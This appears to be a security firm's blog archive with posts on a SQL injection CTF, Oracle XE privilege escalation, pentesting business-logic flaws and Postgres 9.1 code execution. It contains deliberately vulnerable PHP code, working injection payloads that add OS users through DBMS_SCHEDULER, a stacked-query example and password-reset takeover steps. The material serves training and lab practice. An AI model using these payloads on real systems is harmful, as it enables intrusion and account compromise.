Category Archives: Research

Articles/Whitepapers

SqliLab CTF, Wrap Up!

ctf_blog1

As you would have noticed from the noise on twitter and other channels, the 2nd public CTF was a major success. Over 3000 registrations, ~7K unique IPs, 7 GB of log (in 3 days) and heaps of fun. As with anything, we had some un-wanted visitors, who tried to take the CTF down with a DNS amplification DDoS attack. The Site’s performance was affected but nevertheless the CTF was active and we provided some extra time to make up for the down-time.

So, just to wrap-up. The CTF had 2 objectives. Those who obtained both the flags ended up on the leader-board. We will wait for the winners to publish their individual write-ups. In the mean-time, here is sneak up into the code/vulnerabilities.

Both the Flags were based on existing challenges in our SQli Lab. SQLi lab is an awesome place to learn and master SQL Injection. 4 databases, 27 challenges, 90 objectives and heaps of fun!

Okay, with marketing done, lets dive into the CTF. The 2 vulnerabilities on which CTF was based were:

1. Column Truncation
2. Double decode SQL Injection

The 2nd flag was particularly tricky to get and most people had difficulty getting it.

ctf_blog2

Here is some code from the application:

$comments=mysql_real_escape_string($_POST['message']);
$url=mysql_real_escape_string($_SERVER['HTTP_REFERER']);
$query = "Insert into temp values('".$comments."','".urldecode($url)."')";

The trick here is to identify the following:

1. The attack surface is not just the HTTP parameters but other headers (e.g.Referer).
2. Application is doing a urldecode on the header value after validation.

Thus, %27 (‘) gets escaped by mysql_real_escape_string() whereas %2527 doesn’t get escaped and urldecode converts it to %27 which triggers the vulnerability. Its actually common for apps to perform URLdecode on data coming from fields such as Referer. Both the vulnerabilities have affected popular applications like wordpress and we have these vulnerabilities in custom applications during our pentest.

We didn’t want people to run benchmark() and sleep() against the database, so we decided to blacklist it:

$patterns = array('sleep','benchmark');
$patterns_flattened = implode('|', $patterns);
if (preg_match('/'.$patterns_flattened .'/i',urldecode($url)))
{echo 'Attack detected';
die;
}

This made identifying the vulnerability a bit difficult. But the fact that you could see blacklisted functions gave participants a clue that this header could potentially be vulnerable. Further, you can get a feedback from the application depending on whether the SQL returned error or not.

$result = mysqli_query($dbConnection, $query);

if ($result) {

echo "Thanks!, we will be in touch...";

}
else
{
echo "Error Occured :(";
}

We will leave the CTF link live for another few days for people to have a go at it. We are not accepting any submissions now. Thanks all for playing!

Finally, if you are interested in the topic of Injection Flaws, you can register for our class at Black Hat Las Vegas 2014.

A full write-up on CTF can be found here

Oracle Hacks Added to SQLi Lab

We have just added some more awesome challenges in Sqli Lab and thought it would be good idea to share some insight about it.

Note: David Litchfield’s book Oracle Hacker’s Handbook is the best resource to learn about these attacks.

You can now practice a series of Oracle database hacks in the lab. We have opened the Oracle port (1521) on the firewall. There are challenges about the following:

• Direct Privilege escalation
• Indirect Privilege escalation
• Code execution

We have added as many as 7 privilege escalation attack vectors to practice. Areas to practice:

• Identify a vulnerable procedure created by a DBA user; exploit to become DBA
• Identify a vulnerable trigger created by a DBA user; exploit to become DBA

Abuse excessive privileges to become DBA, some of these are:

SELECT ANY DICTIONARY
CREATE ANY TRIGGER
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

Further, after becoming DBA there are challenges to execute OS code against oracle database both interactively (i.e. when connected to database server via database client) and non-interactively (through web based SQLi).

We currently have 27 challenges, with over 90 objectives waiting for you in SQLi lab, and when you sign up you will get:

• PDF solutions with screenshot on how a particular challenge can be solved.
• Video walk-through (with voice) for each challenge.
• A Support Forum to ask questions.

You will have access to the solutions (both pdf and video) even after your lab subscription has expired.

Here is a little teaser from one of the Oracle Challenges:

Challenge 24

Login to the oracle database based on the following information [Level: Intermediate]

Username: user3
Password: password3
IP: 192.168.2.12
Port: 1521
SID: XE
• List the permissions/privileges of current user.
• Escalate privileges and become DBA

oracle1

oracle2

oracle3

I will be giving a sneak peek inside the SQLi lab in a FREE webinar on Thursday 7th November:
https://secureninja.com/nletter/sqli_labs.html

Looking forward to seeing you in SQLi lab!

Sid

Hacking Oracle XE from Web

Note: You can practice the below mentioned hack in our SQLi Lab

In last few years, I have done a few talks/webinar on how to exploit SQL Injection in a web application which talks to Oracle database. Particularly, how to execute OS code and do privilege escalation. You may want to read about it again here:

http://www.slideshare.net/owaspindia/new-and-improved-hacking-oracle-from-web-apps-sumit-sidharth


Oracle XE is a light weight database from Oracle which is available for FREE. The downside of being a light-weight database is that it does not have some hacker-friendly procedures/functionality. Notably, the java virtual machine is not present within Oracle XE. So, executing OS code after becoming a DBA user by creating a java procedure will not work.

However, the DBMS_SCHEDULER method will allow you to execute code (provided that oracleJobScheduler service is running). So, if you have network level access to an Oracle XE and managed to get DBA access then you can follow these steps to execute code:

SQL> select banner from v$version;

BANNER
——————————————————————————-

Oracle Database 11g Express Edition Release 11.2.0.2.0 – Production
PL/SQL Release 11.2.0.2.0 – Production
CORE 11.2.0.2.0 Production
TNS for 32-bit Windows: Version 11.2.0.2.0 – Production
NLSRTL Version 11.2.0.2.0 – Production

SQL> select user from dual;

USER
——————————
SYS

using DBMS_SCHEDULER package we will run these following 5 procedures :

begin
DBMS_SCHEDULER.create_program(‘myprog11′,’EXECUTABLE’,’net user pwned pwn3d!! /add’,0,TRUE);
DBMS_SCHEDULER.create_job(job_name=>’myjob11′,program_name=>’myprog11′,
start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
dbms_lock.sleep(1);
dbms_scheduler.drop_program(program_name=>’myprog11′);
dbms_scheduler.purge_log;
end;

———

2013-10-22 18_14_21-192.168.2.12 - xe_code_exec1

and that should add a user:
2013-10-22 18_14_21-192.168.2.12 - xe_code_exec2

Cool. So, if you find a SQL Injection in a web application which talks to Oracle XE and you have privileges of DBA, then you can do the same attack from web. DBA user can call a function SYS.KUPP$PROC.CREATE_MASTER_PROCESS which lets you execute an anonymous PL/SQL block as an argument to this function. So, we can now pass all our statement as argument to this function and include this function in SQL:

select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(‘DBMS_SCHEDULER.create_program(”myprog10”,”EXECUTABLE”,”net user pwned pwn3d!! /add”,0,TRUE);
DBMS_SCHEDULER.create_job(job_name=>”myjob10”,program_name=>”myprog10”,start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>”myprog10”);dbms_scheduler.purge_log;’)from dual

Note: Oracle’s SQL language don’t allow execution of multiple statements and hence the importance of using the function SYS.KUPP$PROC.CREATE_MASTER_PROCESS

This is how it will look in URL:

http://host/searchResults.jsp?employeeName=JOHN’ and (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(‘DBMS_SCHEDULER.create_program(”myprog10”,”EXECUTABLE”,”net user pwnedfromweb pwn3d!! /add”,0,TRUE);DBMS_SCHEDULER.create_job(job_name=>”myjob10”,program_name=>”myprog10”,start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>”myprog10”);dbms_scheduler.purge_log;’)from dual) is not null –

and this will add another user on the database host!

2013-10-22 18_14_21-192.168.2.12 - xe_code_exec3

SQLiLab users: Practice this attack in Challenge 20. We will soon be rolling out a new/separate challenge with this attack in mind. We will also be adding a number of Oracle goodness in next few days. Watch this space… :)

Penetration Testing: The Art or The Science?

So, I have been penetration testing for a while now. Over the years, I have seen penetration testing evolve dramatically. Back in the days, tools were not as smart as they are now. Now, we have state of art tools (burp Pro, Net Sparker, HP Web Inspect to name a few) and to be brutally honest, these tools are only going to get better as time goes by. The application frameworks are also getting better. A widespread issue such as Cross Site Request Forgery, is not as prevalent as it used to be and that’s because the application framework are getting more security conscious then they were a few years ago.

In terms of penetration testing, people are spending lot more time in checking best security practices;

  • Cookies are marked as secure/http only
  • HTTP headers (x-frame, content security policy, HSTS, the list goes on…)
  • Usual SSL checks (ciphers, protocol, BEAST, CRIME etc)
  • Mixing HTTP and HTTPS
  • Auto-complete
  • yada yada yada
  • So, the point is everyone now a days follows a check-list to make sure all of this gets covered. I have no issues with check-list based approach and I understand that this is done to ensure that a level of consistency is achieved. My worry is that these check-lists are growing bigger by the day and we are making Pentesting a Science and killing the Art aspect of Penetration Testing.

    Penetration testing, to me has always been something which requires out-of-box thinking. My worry is, there are a number of things which you can’t document in a check-list, which are application and case specific and we need to educate the budding generation of penetration testers on this Art.

    If you report 20 best security practices but miss a critical business logic flaw, then its a #FAIL;

    To give you a more specific example to highlight this issue.

    Assessing The Forget Password Functionality

    So, these days apps send out a link with a token in it to reset your password. The link looks something like this:

    http://host/resetpass.php?email=user1@notsosecure.com&token=caea1f61ee90a135d1bb1a0ddc37b115

    What tests do you perform on this:

  • check if the token is predictable (cryptographically insecure)
  • check the token is 1 time only
  • A few more tests (is it over SSL or HTTP etc)
  • check that you cannot use the token of 1 user to reset the password of another user. So you may try to generate a link:
  • http://host/resetpass.php?email=user2@notsosecure.com&token=caea1f61ee90a135d1bb1a0ddc37b115

    So, it turns out that in this 1 case, the app passes all these checks. Now, here comes the Art part. The Application validates that the token, but not quite as it should. It turns out that the application checks if the token is associate with an account on which reset password link has been generated rather than the actual email. So, in the above URL if the user ‘user2′ has not had a password reset initiated, the application will not process the request. However, if we initiate the reset process on both users (user1 and user2) then we can use the token for user1 to reset the link for user2.

    So, as an attacker all you need is someone’s email address.

  • You initiate a password reset on your account; get a valid token. Save this.
  • Initiate a password reset by submitting victim’s email in the forget password functionality.
  • Now, you can use your token to reset victim’s password and compromise his account.
  • Job Done!
  • The bottom line is, we need to strike a balance between the Science and the Art aspect of penetration testing. I get a feeling that currently the industry is moving away from the Art Aspect and pentesting is becoming more of a science. There are a couple of good presentations to get you motivated on business logic testing (1 of them by me and an ex-colleague):

    Get rich or die trying
    The Art of Exploiting Logical Flaws

    Thats my 10 cents for this week!

    Marketing Blurb
    If you would like to try out our Penetration Testing Services, contact us here!

    Pwning Postgres 9.1

    I recently came across a Postgres based SQL Injection in a web application. The database in question was the latest version (9.1). I was in luck and the back-end database user was “postgres” which is the default superuser account in Postgres. If you recall, Postgres and Php allows execution of stacked queries; ie, if the injection was in SELECT statement, you can terminate the SELECT statement and start a new statement like ‘CREATE TABLE..” etc, by using semi-colon between them:

    http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--

    This means that you can execute OS code on the back-end database. Sqlmap already supports this. The way Sqlmap does this is by injecting a User Defined Function (UDF).

    From Postgres site:

    “User-defined functions can be written in C (or a language that can be made compatible with C, such as C++). Such functions are compiled into dynamically loadable objects (also called shared libraries) and are loaded by the server on demand”

    Remember, while there is a default shared library present in Operating system libc.so.6 which already has a system() function defined, you cannot use it because Postgres has a limitation that:

    all UDF must include a magic block after having included the header fmgr.h

    So, you need to create your own shared library, upload it, create a function referring to this library and then execute the function. Sqlmap, already has the libraries created for various postgres version and different OS versions. I have to say, Bernardo has done an awesome job.

    In case of Postgres 9.1, this attack did not work. After a little debugging, it was clear that sqlmap for now don’t have support for Postgres 9.1. it was trying to upload the library for 9.0 which was incompatible with 9.1. Bernardo, kindly pointed me to the instructions to compile the library for my architecture (64 bit). So, I compiled the library for Postgres 9.1 64 bit linux and you can download it here. Using this, I was able to create a function manually and execute the code, as shown in screenshot:
    code_exec

    There are some caveats though:

    Sqlmap uploads pre-compiled shared library to the database system. The library file I have compiled is about 10KB in size and postgres by default don’t allow creation of objects bigger than 8KB in size. So, changing the library file in sqlmap folder won’t do the trick. You will have to compile this file with some funky compiling options to reduce the size less than 8KB. I am sure sqlmap will look into this and get this sorted soon. I had to manually upload this file to the server using another file upload issue.

    Note: Stacking queries through web applications is rare in MySql and hence the same techniq doesn’t work under MySql.

    That’s all for now.
    Happy Hacking!